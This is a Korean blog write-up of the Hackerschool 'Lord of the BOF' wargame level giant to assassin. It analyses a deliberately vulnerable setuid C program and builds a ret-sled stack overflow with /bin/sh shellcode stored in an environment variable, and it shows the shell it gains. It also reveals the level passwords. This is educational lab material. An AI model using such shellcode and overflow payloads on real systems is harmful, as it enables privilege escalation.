[lob] 해커스쿨 giant -> assassin 풀이

l 해커스쿨 giant 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

giant 문제의 아이디인   giant 와 password인   one step closer  을 입력하여 giant의 유저로 접속합니다.

 

 

 

[giant@localhost giant]$ ls -l
total 16
-rwsr-sr-x    1 assassin assassin    12222 Mar 30  2010 assassin
-rw-r--r--    1 root     root          587 Mar 30  2010 assassin.c



[giant@localhost giant]$ cat assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include  <stdio.h>
#include  <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/giant ) 아래에 있는 디렉터리의 목록을 확인합니다.

assassin.c 파일을 읽어보니 위와 같은 힌트 코드가 있습니다.

 

힌트 코드를 분석해보겠습니다.

1. argc는 2 이상이어야 합니다.

2. argv[1]의 48번째는 \xbf와 \x40 둘 다 들어갈 수 없습니다. 즉 스택 영역과 공유 라이브러리 영역을 사용할 수 없습니다.

3. buffer부터 sfp까지 0으로 초기화됩니다.

 

 

따라서 사용할 수 있는 공간은 return 부분입니다. 

 

 

[giant@localhost giant]$ cp assassin giant

[giant@localhost giant]$ gdb giant
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048470 <main>
:       push   %ebp 
0x8048471 <main+1>:     mov    %esp,%ebp
0x8048473 <main+3>:     sub    $0x28,%esp
...
0x80484f0 <main+128>:   lea    0xffffffd8(%ebp),%eax
0x80484f3 <main+131>:   push   %eax
---Type  to continue, or q  to quit---
0x80484f4 <main+132>:   call   0x80483a8 <strcpy>
...
0x804851d <main+173>:   leave
0x804851e <main+174>:   ret

 

 

 

gdb 실행 및 확인을 위해서 assassin 파일을 복사해 giant 파일을 하나 생성해주었습니다. 

giant 파일을 gdb로 분석해보도록 하겠습니다. 빨간색 부분만 참고하면 될 것입니다.

 

 

1. 0x8048473 <main+3>:     sub    $0x28,%esp

0x2c를 10진수로 변환하면 40입니다. 스택에 40byte를 할당했습니다.

 

 

2. 0x80484f4 <main+132>:   call   0x80483a8 <strcpy>

assassin.c 코드의 strcpy에 argv[1]과 buffer 두 개의 인자가 들어갑니다. 스택에 push 되는 순서는 argv[1], buffer 순서이기 때문에 <main+131>에 push 되는 주소가 buffer의 시작 주소입니다.

 

11011000 => 00100111 => 00101000 => 8 + 32 = 40

따라서 buffer는 ebp - 40부터 시작됩니다. 

 

3. 0x804851e <main+174>:   ret 

이번 문제에서는 ret sled 기법을 사용해야 합니다. 즉 return 부분에 ret의 주소를 넣어주어야 합니다.

순서는 다음과 같습니다.

1. main의 return 부분에 ret의 주소를 넣습니다.

2. ret는 pop eip, jmp eip의 역할을 합니다. 따라서 pop이 되며 esp가 4byte 위로 올라가게 됩니다.

3. 그로 인해 ret이 한번 더 실행됩니다. 다시 한 번 더 ret이 실행되고, 셸 코드로 가는 주소를 넣어주면 셸 취득이 가능할 것입니다.

 

셸 코드를 넣어주기 위해 환경변수를 사용하겠습니다.

 
 
[giant@localhost giant]$ bash2
[giant@localhost giant]$ export EGG=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[giant@localhost giant]$ echo 'int main(){ printf("ADDR : 0x%x\n",getenv("EGG"));}' > getenv.c
[giant@localhost giant]$ gcc -o getenv getenv.c
[giant@localhost giant]$ ./getenv
ADDR : 0xbffffe58

 

 

 

셸 코드가 있는 주소를 확인해보니 0xbffffe58인 것을 알 수 있습니다. 이제 페이로드를 구성해보겠습니다.

 

 

 

| 페이로드

./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x58\xfe\xff\xbf"'`

 

buffer와 sfp부분을 A로 채워주고 return 부분을 ret 주소를 넣습니다. 그리고 esp+4된 부분에 셸 코드가 위치하는 주소를 넣어줍니다.

 

 

 

[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x58\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXþÿ¿
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away

 

 

 

위의 페이로드를 넣고 id 명령을 입력하니 euid가 assassin인 것을 확인할 수 있습니다. my-pass를 입력해 assassin user의 비밀번호를 찾을 수 있습니다.

 

 

 

 

l assassin 비밀번호

더보기

euid = 515 
pushing me away

 

이 글을 공유하기

댓글

Designed by JB FACTORY